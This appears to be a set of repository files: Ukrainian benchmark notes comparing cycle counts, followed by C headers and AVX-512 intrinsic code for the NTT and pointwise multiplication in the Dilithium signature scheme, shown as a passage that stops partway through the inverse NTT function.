Microsoft Visual Studio Community 2019, Version 16.6.2, VisualStudio.16.Release / 16.6.2 + 30204.135, / o2 optimization flags
GCC 9.3, флаги оптимізації: -О3 –march=native,-mtune=native
| Function | Linux, Dilithium (lang asm, GCC)|Linux(lang С, GCC) |Windows 10, (lang С, msvc) |Speedup Linux |Speedup Windows |
| ------------- | ------------- |------------- |------------- |------------- |------------- |
| Пряме Ntt перетворення | 987 |663 |727 |1.48 |1.35 |
| Покомпонентне множення | 135 |81 |87 |1.6 |1.51 |
| Зворотне Ntt перетворення | 972 |677 |741 |1.43 |1.31 |
В таблиці наведені результати виміру кількості тактів для кожної функції. Для виміру кількості тактів застосовувалась команда процесора rdtsc або відповідна функція.
В другій колонці таблиці наведені результати для авторської реалізації (розробники Dilithium), які отримані з застосуванням ключів компілятора GCC, які застосовували автори (Linux).
В третій колонці наведені результати нашої реалізації для тих же ключів компілятору GCC, які застосовувалися для отримання попередніх результатів (Linux)
В четвертій колонці наведені результати нашої реалізації з застосуванням компілятору msvc
В наступних колонках наведено прискорення для нашої реалізації по відношенню до авторської реалізації.
Висновки:
1 За рахунок застосування 512 бітних операцій та спеціальних алгоритмів перемішування досягнуто суттєве прискорення незалежно від платформ
2 Застосування мови С замість мови асемблер дозволяє застосовувати крос платформений код
3 Як допоміжний результат наші експерименти показали, що застосування мови асемблер замість мови С не дозволяє отримати прискорення при умові обрання режимів компіляції з повною оптимізацією
<file_sep>#ifndef NTT_H
#define NTT_H
#include <stdint.h>
#include "const.h"
void set_const_512();
void new_pointwise_acc_cpp_512(uint32_t c[], uint32_t a[], uint32_t b[]);
void new_pointwise_acc_asm_512(uint32_t c[], uint32_t a[], uint32_t b[]);
void new_ntt_512_cpp_(uint32_t* dest, uint32_t* src,const uint32_t* z);
void new_ntt_512_asm__(uint32_t* dest, uint32_t* src,const uint32_t* z);
void new_ntt_inv_512_cpp(uint32_t dest[N], uint32_t src[N], const uint32_t *zetas_inv);
void new_pointwise_mul_512_cpp(uint32_t* c, const uint32_t* a, const uint32_t* b);
void pointwise_avx(uint32_t* c, const uint32_t* a, const uint32_t* b);
void ntt_levels0t2_avx(uint64_t* dest, uint32_t* src,const uint32_t* z);
void ntt_levels3t8_avx(uint32_t* dest, uint64_t* src,const uint32_t* z);
void invntt_levels0t4_avx(uint64_t* dest, uint32_t* src,const uint32_t* z);
void invntt_levels5t7_avx(uint32_t* dest, uint64_t* src,const uint32_t* z);
void pointwise_acc_avx(uint32_t c[], uint32_t a[], uint32_t b[]);
#endif
<file_sep>#ifndef __parameters_h
#define __parameters_h
#define MODE 3
//#define MODE 5
#define OID "\x00\x00\x01"
#define BITS_IN_BYTE 8
#define LAMBDA 256
#define ROOT_OF_UNITY 1753U
#define ROOT_OF_INVERSE_UNITY 731434U
#define SEEDBYTES LAMBDA / BITS_IN_BYTE
#if LAMBDA == 256
#define N 256
#define Q_ 8380417
#define Q_1 (Q_ - 1)
#define Q_2 (Q_1 / 2)
#define GAMMA1 (Q_1 / 16)
#define LOG2GAMMA1 19
#define LOG2_2GAMMA1 20
#define GAMMA2 (GAMMA1 / 2)
#define ALPHA (2 * GAMMA2)
#define MONT 4193792U // 2^32 % Q
#define QINV 4236238847U // -q^(-1) mod 2^32
#define ROOT 25847
#define K_ROOT 32736
#define LOG2Q 23
#define D_DEF 14
#define HASHBYTES 64
#if MODE == 0
#define K 3
#define L 2
#define NJU 7
#define LOG2_2NJU 4
#define BETA 375
#define OMEGA 64
#elif MODE == 1
#define K 4
#define L 3
#define NJU 6
#define LOG2_2NJU 4
#define BETA 325
#define OMEGA 80
#elif MODE == 2
#define K 5
#define L 4
#define NJU 5
#define LOG2_2NJU 4
#define BETA 275
#define OMEGA 96
#elif MODE == 3
#define K 6
#define L 5
#define NJU 3
#define LOG2_2NJU 3
#define BETA 175
#define OMEGA 120
#elif MODE == 4
#define K 9
#define L 8
#define NJU 3
#define LOG2_2NJU 3
#define BETA 175
#define OMEGA 120
#elif MODE == 5
#define K 9
#define L 8
#define NJU 2
#define LOG2_2NJU 2
#define BETA 115
#define OMEGA 140
#else
#error Bad mode
#endif
#define NJUQ (NJU - Q_)
#define POLWHIGH_SIZE_PACKED ((N*4)/BITS_IN_BYTE)
#define PKBYTES (SEEDBYTES + K * (LOG2Q - D_DEF) * N / BITS_IN_BYTE)
#define SKBYTES (2 * SEEDBYTES + HASHBYTES + N * ((L + K) * LOG2_2NJU + K * D_DEF) / BITS_IN_BYTE)
#define LOG2Z 20
#define DSBYTES ((LOG2Z * 256 * L) / 8 + (OMEGA + K)+ 40)
#define CRYPTOBYTES DSBYTES
#define SHAKE256_RATE 136
#endif
#endif
<file_sep>#include <immintrin.h>
#include<inttypes.h>
#include "parameters.h"
#include "const.h"
#define cpp_batterfly_inv512_macro(z0, z1, z2, z3, l0, l1, l2, l3, h0, h1, h2, h3) \
{ \
zmm13 = _mm512_add_epi32(l0, zmm2); \
zmm14 = _mm512_add_epi32(l1, zmm2); \
zmm15 = _mm512_add_epi32(l2, zmm2); \
zmm16 = _mm512_add_epi32(l3, zmm2); \
\
zmm13 = _mm512_sub_epi32(zmm13, h0); \
zmm14 = _mm512_sub_epi32(zmm14, h1); \
zmm15 = _mm512_sub_epi32(zmm15, h2); \
zmm16 = _mm512_sub_epi32(zmm16, h3); \
\
zmm13 = _mm512_mul_epu32(zmm13, z0); \
zmm14 = _mm512_mul_epu32(zmm14, z1); \
zmm15 = _mm512_mul_epu32(zmm15, z2); \
zmm16 = _mm512_mul_epu32(zmm16, z3); \
\
l0 = _mm512_add_epi32(h0, l0); \
l1 = _mm512_add_epi32(h1, l1); \
l2 = _mm512_add_epi32(h2, l2); \
l3 = _mm512_add_epi32(h3, l3); \
\
h0 = _mm512_mul_epu32(zmm13, zmm0); \
h1 = _mm512_mul_epu32(zmm14, zmm0); \
h2 = _mm512_mul_epu32(zmm15, zmm0); \
h3 = _mm512_mul_epu32(zmm16, zmm0); \
\
h0 = _mm512_mul_epu32(h0, zmm1); \
h1 = _mm512_mul_epu32(h1, zmm1); \
h2 = _mm512_mul_epu32(h2, zmm1); \
h3 = _mm512_mul_epu32(h3, zmm1); \
\
h0 = _mm512_add_epi64(h0, zmm13); \
h1 = _mm512_add_epi64(h1, zmm14); \
h2 = _mm512_add_epi64(h2, zmm15); \
h3 = _mm512_add_epi64(h3, zmm16); \
\
h0 = _mm512_srli_epi64(h0, 32); \
h1 = _mm512_srli_epi64(h1, 32); \
h2 = _mm512_srli_epi64(h2, 32); \
h3 = _mm512_srli_epi64(h3, 32); \
}
__m512i const1_512, const1_512_, const2_512, const2_512_, const3_512,
const4_512, const5_512, const5_512_, const6_512, const6_512_, const7_512, const7_512_,
const8_512, const8_512_, const9_512, const9_512_, const10_512, const10_512_, const11_512, const12_512,
const13_512, const14_512;
void set_const_512()
{
const1_512 = _mm512_setr_epi64(0, 1, 8, 9, 2, 3, 10, 11);
const1_512_ = _mm512_setr_epi64(4, 5, 12, 13, 6, 7, 14, 15);
const2_512 = _mm512_setr_epi64(0, 8, 2, 10, 1, 9, 3, 11),
const2_512_ = _mm512_setr_epi64(4, 12, 6, 14, 5, 13, 7, 15);
const3_512 = _mm512_setr_epi32(0, 16, 2, 18, 4, 20, 6, 22, 8, 24, 10, 26, 12, 28, 14, 30);
const4_512 = _mm512_setr_epi64(0, 4, 2, 6, 1, 5, 3, 7);
const5_512 = _mm512_setr_epi64(0, 1, 2, 3, 0, 1, 2, 3);
const5_512_ = _mm512_setr_epi64(4, 5, 6, 7, 4, 5, 6, 7);
const6_512 = _mm512_setr_epi64(0, 1, 2, 3, 8, 9, 10, 11);
const6_512_ = _mm512_setr_epi64(4, 5, 6, 7, 12, 13, 14, 15);
const7_512 = _mm512_setr_epi64(0, 1, 8, 9, 4, 5, 12, 13);
const7_512_ = _mm512_setr_epi64(2, 3, 10, 11, 6, 7, 14, 15);
const8_512 = _mm512_setr_epi64(0, 4, 8, 12, 1, 5, 9, 13);
const8_512_ = _mm512_setr_epi64(2, 6, 10, 14, 3, 7, 11, 15);
const9_512 = _mm512_setr_epi64(0, 4, 2, 6, 8, 12, 10, 14);
const9_512_ = _mm512_setr_epi64(1, 5, 3, 7, 9, 13, 11, 15);
const10_512 = _mm512_setr_epi64(0, 1, 4, 5, 8, 9, 12, 13);
const10_512_ = _mm512_setr_epi64(2, 3, 6, 7, 10, 11, 14, 15);
const11_512 = _mm512_setr_epi32(0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1);
const12_512 = _mm512_setr_epi32(0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1);
const13_512 = _mm512_setr_epi32(1, 3, 5, 7, 17, 19, 21, 23, 9, 11, 13, 15, 25, 27, 29, 31);
const14_512 = _mm512_setr_epi32(0, 2, 4, 6, 16, 18, 20, 22, 8, 10, 12, 14, 24, 26, 28, 30);
}
#define shuffle_512(r0, r1, r2, r3, c1, c2){ \
r2 = _mm512_permutex2var_epi64(r0, c1, r1); \
r3 = _mm512_permutex2var_epi64(r0, c2, r1); \
}
#define macro_cpp_butterfly_512(zmm0,zmm1,zmm2,zmmz0,zmmz1,zmmz2,zmmz3,rl0,rl1,rl2,rl3,rh0,rh1,rh2,rh3) \
{\
rh0 = _mm512_mul_epu32(rh0, zmmz0); rh1 = _mm512_mul_epu32(rh1, zmmz1); \
rh2 = _mm512_mul_epu32(rh2, zmmz2); rh3 = _mm512_mul_epu32(rh3, zmmz3); \
zmm12 = _mm512_mul_epu32(rh0, zmm0); zmm13 = _mm512_mul_epu32(rh1, zmm0); \
zmm14 = _mm512_mul_epu32(rh2, zmm0); zmm15 = _mm512_mul_epu32(rh3, zmm0); \
zmm12 = _mm512_mul_epu32(zmm12, zmm1); zmm13 = _mm512_mul_epu32(zmm13, zmm1); \
zmm14 = _mm512_mul_epu32(zmm14, zmm1); zmm15 = _mm512_mul_epu32(zmm15, zmm1); \
zmm12 = _mm512_add_epi64(zmm12, rh0); zmm13 = _mm512_add_epi64(zmm13, rh1); \
zmm14 = _mm512_add_epi64(zmm14, rh2); zmm15 = _mm512_add_epi64(zmm15, rh3); \
zmm12 = _mm512_srli_epi64(zmm12, 32); zmm13 = _mm512_srli_epi64(zmm13, 32); \
zmm14 = _mm512_srli_epi64(zmm14, 32); zmm15 = _mm512_srli_epi64(zmm15, 32); \
rh0 = _mm512_add_epi32(rl0, zmm2); rh1 = _mm512_add_epi32(rl1, zmm2); \
rh2 = _mm512_add_epi32(rl2, zmm2); rh3 = _mm512_add_epi32(rl3, zmm2); \
rl0 = _mm512_add_epi32(rl0, zmm12); rl1 = _mm512_add_epi32(rl1, zmm13); \
rl2 = _mm512_add_epi32(rl2, zmm14); rl3 = _mm512_add_epi32(rl3, zmm15); \
rh0 = _mm512_sub_epi32(rh0, zmm12); rh1 = _mm512_sub_epi32(rh1, zmm13); \
rh2 = _mm512_sub_epi32(rh2, zmm14); rh3 = _mm512_sub_epi32(rh3, zmm15); \
}
void pointwise_512_fun(__m512i* a512, __m512i* b512,
__m512i* zmm10, __m512i* zmm11, __m512i* zmm12, __m512i* zmm13,
__m512i* zmm14, __m512i* zmm15, __m512i* zmm16, __m512i* zmm17
) {
__m512i zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, zmm24, zmm25;
*zmm10 = _mm512_load_si512(a512);
*zmm12 = _mm512_load_si512(a512 + 1);
*zmm14 = _mm512_load_si512(a512 + 2);
*zmm16 = _mm512_load_si512(a512 + 3);
zmm18 = _mm512_load_si512(b512);
zmm20 = _mm512_load_si512(b512 + 1);
zmm22 = _mm512_load_si512(b512 + 2);
zmm24 = _mm512_load_si512(b512 + 3);
*zmm11 = _mm512_srli_epi64(*zmm10, 32);
*zmm13 = _mm512_srli_epi64(*zmm12, 32);
*zmm15 = _mm512_srli_epi64(*zmm14, 32);
*zmm17 = _mm512_srli_epi64(*zmm16, 32);
zmm19 = _mm512_srli_epi64(zmm18, 32);
zmm21 = _mm512_srli_epi64(zmm20, 32);
zmm23 = _mm512_srli_epi64(zmm22, 32);
zmm25 = _mm512_srli_epi64(zmm24, 32);
*zmm10 = _mm512_mul_epu32(zmm18, *zmm10);
*zmm11 = _mm512_mul_epu32(zmm19, *zmm11);
*zmm12 = _mm512_mul_epu32(zmm20, *zmm12);
*zmm13 = _mm512_mul_epu32(zmm21, *zmm13);
*zmm14 = _mm512_mul_epu32(zmm22, *zmm14);
*zmm15 = _mm512_mul_epu32(zmm23, *zmm15);
*zmm16 = _mm512_mul_epu32(zmm24, *zmm16);
*zmm17 = _mm512_mul_epu32(zmm25, *zmm17);
}
#define pointwise_512(a512, b512) { \
zmm10 = _mm512_load_si512(a512); \
zmm12 = _mm512_load_si512(a512 + 1); \
zmm14 = _mm512_load_si512(a512 + 2); \
zmm16 = _mm512_load_si512(a512 + 3); \
zmm18 = _mm512_load_si512(b512); \
zmm20 = _mm512_load_si512(b512 + 1); \
zmm22 = _mm512_load_si512(b512 + 2); \
zmm24 = _mm512_load_si512(b512 + 3); \
zmm11 = _mm512_srli_epi64(zmm10, 32); \
zmm13 = _mm512_srli_epi64(zmm12, 32); \
zmm15 = _mm512_srli_epi64(zmm14, 32); \
zmm17 = _mm512_srli_epi64(zmm16, 32); \
zmm19 = _mm512_srli_epi64(zmm18, 32); \
zmm21 = _mm512_srli_epi64(zmm20, 32); \
zmm23 = _mm512_srli_epi64(zmm22, 32); \
zmm25 = _mm512_srli_epi64(zmm24, 32); \
zmm10 = _mm512_mul_epu32(zmm18, zmm10); \
zmm11 = _mm512_mul_epu32(zmm19, zmm11); \
zmm12= _mm512_mul_epu32(zmm20, zmm12); \
zmm13= _mm512_mul_epu32(zmm21, zmm13); \
zmm14 = _mm512_mul_epu32(zmm22, zmm14); \
zmm15 = _mm512_mul_epu32(zmm23, zmm15); \
zmm16 = _mm512_mul_epu32(zmm24, zmm16); \
zmm17 = _mm512_mul_epu32(zmm25, zmm17); \
}
#define acc_512 {\
zmm2 = _mm512_add_epi64(zmm2, zmm10);\
zmm3 = _mm512_add_epi64(zmm3, zmm11);\
zmm4 = _mm512_add_epi64(zmm4, zmm12);\
zmm5 = _mm512_add_epi64(zmm5, zmm13);\
zmm6 = _mm512_add_epi64(zmm6, zmm14);\
zmm7 = _mm512_add_epi64(zmm7, zmm15);\
zmm8 = _mm512_add_epi64(zmm8, zmm16);\
zmm9 = _mm512_add_epi64(zmm9, zmm17);\
}
void new_pointwise_acc_cpp_512(uint32_t c[], uint32_t a[], uint32_t b[])
{
__m512i zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, zmm9, zmm10,
zmm11, zmm12, zmm13, zmm14, zmm15, zmm16, zmm17, zmm18, zmm19,
zmm20, zmm21, zmm22, zmm23, zmm24, zmm25;
__m512i* a512 = (__m512i*)a, * b512 = (__m512i*)b, * c512 = (__m512i*)c;
uint32_t i;
zmm0 = _mm512_set1_epi32(_8xqinv[0]);
zmm1 = _mm512_set1_epi32(_8xq[0]);
for (i = 0; i < 4; i++)
{
pointwise_512_fun(a512, b512, &zmm10, &zmm11, &zmm12, &zmm13, &zmm14, &zmm15, &zmm16, &zmm17);
zmm2 = zmm10;
zmm3 = zmm11;
zmm4 = zmm12;
zmm5 = zmm13;
zmm6 = zmm14;
zmm7 = zmm15;
zmm8 = zmm16;
zmm9 = zmm17;
pointwise_512(a512 + 16, b512 + 16);//1024
acc_512;
#if L >= 3
pointwise_512(a512 + 32, b512 + 32);//2048
acc_512
#endif
#if L >= 4
pointwise_512(a512 + 48, b512 + 48);// 3072
acc_512;
#endif
#if L >= 5
pointwise_512(a512 + 64, b512 + 64);// 4096
acc_512;
#endif
zmm10 = _mm512_mul_epu32(zmm2, zmm0);
zmm11 = _mm512_mul_epu32(zmm3, zmm0);
zmm12 = _mm512_mul_epu32(zmm4, zmm0);
zmm13 = _mm512_mul_epu32(zmm5, zmm0);
zmm14 = _mm512_mul_epu32(zmm6, zmm0);
zmm15 = _mm512_mul_epu32(zmm7, zmm0);
zmm16 = _mm512_mul_epu32(zmm8, zmm0);
zmm17 = _mm512_mul_epu32(zmm9, zmm0);
zmm10 = _mm512_mul_epu32(zmm10, zmm1);
zmm11 = _mm512_mul_epu32(zmm11, zmm1);
zmm12 = _mm512_mul_epu32(zmm12, zmm1);
zmm13 = _mm512_mul_epu32(zmm13, zmm1);
zmm14 = _mm512_mul_epu32(zmm14, zmm1);
zmm15 = _mm512_mul_epu32(zmm15, zmm1);
zmm16 = _mm512_mul_epu32(zmm16, zmm1);
zmm17 = _mm512_mul_epu32(zmm17, zmm1);
zmm2 = _mm512_add_epi64(zmm10, zmm2);
zmm3 = _mm512_add_epi64(zmm11, zmm3);
zmm4 = _mm512_add_epi64(zmm12, zmm4);
zmm5 = _mm512_add_epi64(zmm13, zmm5);
zmm6 = _mm512_add_epi64(zmm14, zmm6);
zmm7 = _mm512_add_epi64(zmm15, zmm7);
zmm8 = _mm512_add_epi64(zmm16, zmm8);
zmm9 = _mm512_add_epi64(zmm17, zmm9);
zmm2 = _mm512_srli_epi64(zmm2, 32);
zmm4 = _mm512_srli_epi64(zmm4, 32);
zmm6 = _mm512_srli_epi64(zmm6, 32);
zmm8 = _mm512_srli_epi64(zmm8, 32);
zmm2 = _mm512_mask_blend_epi32(0xAAAA, zmm2, zmm3);
zmm4 = _mm512_mask_blend_epi32(0xAAAA, zmm4, zmm5);
zmm6 = _mm512_mask_blend_epi32(0xAAAA, zmm6, zmm7);
zmm8 = _mm512_mask_blend_epi32(0xAAAA, zmm8, zmm9);
_mm512_store_si512(c512, zmm2);
_mm512_store_si512(c512 + 1, zmm4);
_mm512_store_si512(c512 + 2, zmm6);
_mm512_store_si512(c512 + 3, zmm8);
a512 += 4;
b512 += 4;
c512 += 4;
}
}
void new_ntt_512_cpp_(uint32_t* dest, uint32_t* src, uint32_t* z)
{
__m512i zmm0 = _mm512_load_si512((__m512i*)_8xqinv_512);
__m512i zmm1 = _mm512_load_si512((__m512i*)_8xq_512);
__m512i zmm2 = _mm512_load_si512((__m512i*)_8x2q_512);
__m512i temp512[N / 8], *tmp512 = temp512, *dest512;
__m512i zmm3, zmm4, zmm5, zmm6, zmm7,
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15;
__m512i zmm16;
__m512i zmm17, zmm18;
__m512i zmm19, zmm20, zmm21, zmm22;
__m256i* src256 = (__m256i*)src, * tmp256 = (__m256i*)tmp512;
__m128i zj0, zj1, zj2, zj3, zj4, zj5, zj6;
uint32_t i, * zl, *zh;
zj0 = _mm_loadu_si128((const __m128i*)(z + 1));
zj1 = _mm_loadu_si128((const __m128i*)(z + 2));
zj2 = _mm_loadu_si128((const __m128i*)(z + 3));
zj3 = _mm_loadu_si128((const __m128i*)(z + 4));
zj4 = _mm_loadu_si128((const __m128i*)(z + 5));
zj5 = _mm_loadu_si128((const __m128i*)(z + 6));
zj6 = _mm_loadu_si128((const __m128i*)(z + 7));
zmm16 = _mm512_broadcastd_epi32(zj0);
zmm17 = _mm512_broadcastd_epi32(zj1);
zmm18 = _mm512_broadcastd_epi32(zj2);
zmm19 = _mm512_broadcastd_epi32(zj3);
zmm20 = _mm512_broadcastd_epi32(zj4);
zmm21 = _mm512_broadcastd_epi32(zj5);
zmm22 = _mm512_broadcastd_epi32(zj6);
for (i = 0; i < N / 64; ++i)
{
zmm4 = _mm512_cvtepu32_epi64(*(__m256i*) (src256));
zmm5 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 4));
zmm6 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 8));
zmm7 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 12));
zmm8 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 16));
zmm9 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 20));
zmm10 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 24));
zmm11 = _mm512_cvtepu32_epi64(*(__m256i*) (src256 + 28));
macro_cpp_butterfly_512(zmm0, zmm1, zmm2,
zmm16, zmm16, zmm16, zmm16,
zmm4, zmm5, zmm6, zmm7,
zmm8, zmm9, zmm10, zmm11);
macro_cpp_butterfly_512(zmm0, zmm1, zmm2,
zmm17, zmm17, zmm18, zmm18,
zmm4, zmm5, zmm8, zmm9,
zmm6, zmm7, zmm10, zmm11);
macro_cpp_butterfly_512(zmm0, zmm1, zmm2,
zmm19, zmm20, zmm21, zmm22,
zmm4, zmm6, zmm8, zmm10,
zmm5, zmm7, zmm9, zmm11);
_mm512_store_si512(tmp512, zmm4);
_mm512_store_si512(tmp512 + 4, zmm5);
_mm512_store_si512(tmp512 + 8, zmm6);
_mm512_store_si512(tmp512 + 12, zmm7);
_mm512_store_si512(tmp512 + 16, zmm8);
_mm512_store_si512(tmp512 + 20, zmm9);
_mm512_store_si512(tmp512 + 24, zmm10);
_mm512_store_si512(tmp512 + 28, zmm11);
src256++;
tmp512++;
}
tmp512 = temp512;
dest512 = (__m512i*)dest;
zl = z + 8;
for (i = 0; i < N / 64; ++i)
{
zh = zl + 31;
zmm4 = _mm512_load_si512(tmp512); // 4, 5
zmm5 = _mm512_load_si512(tmp512 + 1); // 6, 7
zmm6 = _mm512_load_si512(tmp512 + 2); // 8, 9
zmm7 = _mm512_load_si512(tmp512 + 3); // 10, 11
zmm8 = _mm512_load_si512(tmp512 + 4); // 4, 5
zmm9 = _mm512_load_si512(tmp512 + 5); // 6, 7
zmm10 = _mm512_load_si512(tmp512 + 6); // 8, 9
zmm11 = _mm512_load_si512(tmp512 + 7); // 10, 11
zj0 = _mm_loadu_si128((const __m128i*)zl);
zmm12 = _mm512_broadcastd_epi32(zj0);
zj1 = _mm_loadu_si128((const __m128i*)(zh));
zmm13 = _mm512_broadcastd_epi32(zj1);
macro_cpp_butterfly_512(zmm0, zmm1, zmm2, zmm12, zmm12, zmm13, zmm13,
zmm4, zmm5, zmm8, zmm9, zmm6, zmm7, zmm10, zmm11);
zj0 = _mm_loadu_si128((const __m128i*)(zl + 1));
zmm12 = _mm512_broadcastd_epi32(zj0);
zj1 = _mm_loadu_si128((const __m128i*)(zl + 2));
zmm13 = _mm512_broadcastd_epi32(zj1);
zmm12 = _mm512_mask_blend_epi32(0xF0F0, zmm12, zmm13);
zj2 = _mm_loadu_si128((const __m128i*)(zh + 1));
zmm13 = _mm512_broadcastd_epi32(zj2);
zj3 = _mm_loadu_si128((const __m128i*)(zh + 2));
zmm14 = _mm512_broadcastd_epi32(zj3);
zmm13 = _mm512_mask_blend_epi32(0xF0F0, zmm13, zmm14);
zmm3 = _mm512_permutex2var_epi64(zmm4, const1_512, zmm6);
zmm6 = _mm512_permutex2var_epi64(zmm4, const1_512_, zmm6);
zmm4 = _mm512_permutex2var_epi64(zmm5, const1_512, zmm7);
zmm7 = _mm512_permutex2var_epi64(zmm5, const1_512_, zmm7);
zmm5 = _mm512_permutex2var_epi64(zmm8, const1_512, zmm10);
zmm10 = _mm512_permutex2var_epi64(zmm8, const1_512_, zmm10);
zmm8 = _mm512_permutex2var_epi64(zmm9, const1_512, zmm11);
zmm11 = _mm512_permutex2var_epi64(zmm9, const1_512_, zmm11);
macro_cpp_butterfly_512(zmm0, zmm1, zmm2, zmm12, zmm12, zmm13, zmm13,
zmm3, zmm6, zmm5, zmm10, zmm4, zmm7, zmm8, zmm11);
// //level5:
zj0 = _mm_loadu_si128((const __m128i*)(zl + 3));
__m256i zj256 = _mm256_broadcast_i64x2(zj0);
zmm12 = _mm512_cvtepu32_epi64(zj256);
zj1 = _mm_loadu_si128((const __m128i*)(zh + 3));
zj256 = _mm256_broadcast_i64x2(zj1);
zmm13 = _mm512_cvtepu32_epi64(zj256);
zmm9 = _mm512_permutex2var_epi64(zmm3, const2_512, zmm4);
zmm4 = _mm512_permutex2var_epi64(zmm3, const2_512_, zmm4);
zmm3 = _mm512_permutex2var_epi64(zmm6, const2_512, zmm7);
zmm7 = _mm512_permutex2var_epi64(zmm6, const2_512_, zmm7);
zmm6 = _mm512_permutex2var_epi64(zmm5, const2_512, zmm8);
zmm8 = _mm512_permutex2var_epi64(zmm5, const2_512_, zmm8);
zmm5 = _mm512_permutex2var_epi64(zmm10, const2_512, zmm11);
zmm11 = _mm512_permutex2var_epi64(zmm10, const2_512_, zmm11);
macro_cpp_butterfly_512(zmm0, zmm1, zmm2, zmm12, zmm12, zmm13, zmm13,
zmm9, zmm4, zmm6, zmm8, zmm3, zmm7, zmm5, zmm11);
//level6:
zj256 = _mm256_loadu_si256((const __m256i*)(zl + 7));
zmm13 = _mm512_cvtepu32_epi64(zj256);
zmm12 = _mm512_permutexvar_epi64(const5_512, zmm13);
zmm13 = _mm512_permutexvar_epi64(const5_512_, zmm13);
zj256 = _mm256_loadu_si256((const __m256i*)(zh + 7));
zmm15 = _mm512_cvtepu32_epi64(zj256);
zmm14 = _mm512_permutexvar_epi64(const5_512, zmm15);
zmm15 = _mm512_permutexvar_epi64(const5_512_, zmm15);
macro_cpp_butterfly_512(zmm0, zmm1, zmm2, zmm12, zmm13, zmm14, zmm15,
zmm9, zmm3, zmm6, zmm5, zmm4, zmm7, zmm8, zmm11);
//level7:
zj256 = _mm256_loadu_si256((const __m256i*)(zl + 15));
zmm12 = _mm512_cvtepu32_epi64(zj256);
zj256 = _mm256_loadu_si256((const __m256i*)(zl + 23));
zmm13 = _mm512_cvtepu32_epi64(zj256);
zj256 = _mm256_loadu_si256((const __m256i*)(zh + 15));
zmm14 = _mm512_cvtepu32_epi64(zj256);
zj256 = _mm256_loadu_si256((const __m256i*)(zh + 23));
zmm15 = _mm512_cvtepu32_epi64(zj256);
__m512i zmm9_ = _mm512_permutex2var_epi64(zmm9, const6_512, zmm4); // 9
zmm4 = _mm512_permutex2var_epi64(zmm9, const6_512_, zmm4); // 4
__m512i zmm3_ = _mm512_permutex2var_epi64(zmm3, const6_512, zmm7); // 3
zmm7 = _mm512_permutex2var_epi64(zmm3, const6_512_, zmm7); // 7
__m512i zmm6_ = _mm512_permutex2var_epi64(zmm6, const6_512, zmm8); // 6
zmm8 = _mm512_permutex2var_epi64(zmm6, const6_512_, zmm8); // 8
__m512i zmm5_ = _mm512_permutex2var_epi64(zmm5, const6_512, zmm11); // 5
zmm11 = _mm512_permutex2var_epi64(zmm5, const6_512_, zmm11);// 11
macro_cpp_butterfly_512(zmm0, zmm1, zmm2, zmm12, zmm13, zmm14, zmm15,
zmm9_, zmm3_, zmm6_, zmm5_, zmm4, zmm7, zmm8, zmm11);
zmm9 = _mm512_permutex2var_epi32(zmm9_, const3_512, zmm4);
zmm3 = _mm512_permutex2var_epi32(zmm3_, const3_512, zmm7);
zmm6 = _mm512_permutex2var_epi32(zmm6_, const3_512, zmm8);
zmm5 = _mm512_permutex2var_epi32(zmm5_, const3_512, zmm11);
zmm9 = _mm512_permutex2var_epi64(zmm9, const4_512, zmm9);
zmm3 = _mm512_permutex2var_epi64(zmm3, const4_512, zmm3);
zmm6 = _mm512_permutex2var_epi64(zmm6, const4_512, zmm6);
zmm5 = _mm512_permutex2var_epi64(zmm5, const4_512, zmm5);
zmm10 = _mm512_permutex2var_epi64(zmm9, const7_512, zmm3);
zmm11 = _mm512_permutex2var_epi64(zmm9, const7_512_, zmm3);
zmm12 = _mm512_permutex2var_epi64(zmm6, const7_512, zmm5);
zmm13 = _mm512_permutex2var_epi64(zmm6, const7_512_, zmm5);
// store
_mm512_store_si512(dest512, zmm10);
_mm512_store_si512(dest512 + 1, zmm11);
_mm512_store_si512(dest512 + 2, zmm12);
_mm512_store_si512(dest512 + 3, zmm13);
tmp512 += 8;
dest512 += 4;
zl += 62;
}
}
void new_ntt_inv_512_cpp(uint32_t dest[N], uint32_t src[N], const uint32_t *zetas_inv)
{
ALIGN64 uint64_t tmp[N];
__m512i* tmp512 = (__m512i*)tmp;
__m512i zmm0 = _mm512_load_si512((__m512i*)_8xqinv_512);
__m512i zmm1 = _mm512_load_si512((__m512i*)_8xq_512);
__m512i zmm2 = _mm512_load_si512((__m512i*)_8x256q_512);
__m512i* src512 = (__m512i*)src;
__m512i zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15;
__m512i zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, zmm24, zmm25, zmm26, zmm27;
__m512i zmm28 , zmm29 , zmm30 , zmm31 ;
__m256i* z256l;
__m256i* z256h, zj256;
__m128i zj1, zj2;
uint32_t i;
for (i = 0; i < 4; i++)
{
z256l = (__m256i*)zetas_inv;
z256h = (__m256i*)(zetas_inv + 31);
zmm3 = _mm512_load_si512(src512);
zmm5 = _mm512_load_si512(src512 + 1);
zmm7 = _mm512_load_si512(src512 + 2);
zmm9 = _mm512_load_si512(src512 + 3);
zmm30 = const8_512;
zmm31 = const8_512_;
zmm28 = const6_512;
zmm29 = const6_512_;
zmm26 = const9_512;
zmm27 = const9_512_;
shuffle_512(zmm3, zmm5, zmm4, zmm6, zmm30, zmm31);
shuffle_512(zmm7, zmm9, zmm8, zmm10, zmm30, zmm31);
zmm3 = _mm512_srli_epi64(zmm4, 32);
zmm5 = _mm512_srli_epi64(zmm6, 32);
zmm7 = _mm512_srli_epi64(zmm8, 32);
zmm9 = _mm512_srli_epi64(zmm10, 32);
zmm11 = _mm512_cvtepu32_epi64(*z256l);
zmm12 = _mm512_cvtepu32_epi64(*(z256l + 1));
zmm13 = _mm512_cvtepu32_epi64(*z256h);
zmm14 = _mm512_cvtepu32_epi64(*(z256h + 1));
zmm15 = _mm512_add_epi32(zmm4, zmm2);
zmm16 = _mm512_add_epi32(zmm6, zmm2);
